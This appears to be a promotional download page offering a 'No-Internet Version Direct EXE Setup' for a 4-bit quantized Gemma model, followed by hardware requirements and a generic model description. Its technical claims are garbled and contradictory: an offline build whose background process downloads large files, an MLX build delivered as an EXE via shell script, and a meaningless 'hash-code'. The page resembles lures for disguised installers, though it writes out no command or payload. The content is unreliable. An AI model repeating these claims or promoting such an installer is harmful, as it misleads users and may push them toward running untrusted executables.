Deploy gemma-4-26B-A4B-it-QAT-MLX-4bit No-Internet Version Direct EXE Setup

For an instant local deployment, running a pre-configured shell script is ideal.

Simply follow the directions outlined below.

An automated background process downloads all required large-scale files.

An automated hardware sweep ensures the system will select the best tuning parameters.

🧮 Hash-code: 30a802adf983885a52cf6d3507d60c71 • 📆 2026-06-29 Verify Processor: 6-core 3.5 GHz minimum required RAM: enough space for background apps and OS overhead Disk: high-speed SSD 120 GB to cache model layers Graphics: 12 GB VRAM minimum required for basic quantization

gemma-4-26B-A4B-it-QAT-MLX-4bit is a large language model built on the Gemma architecture with 26 billion parameters and optimized for instruction following. It leverages A4B design principles to improve inference efficiency while maintaining high fidelity in generation tasks. Through quantized aware training (QAT) and MLX optimizations, the model achieves compact 4‑bit representation without significant loss in accuracy. The resulting model excels in multilingual understanding, reasoning, and code generation, making it suitable for both research and production environments. Its reduced memory footprint enables deployment on consumer hardware and edge devices, broadening accessibility for developers. A quick reference of its core specs is provided below.

Parameters	26 B
Quantization	4‑bit QAT with MLX

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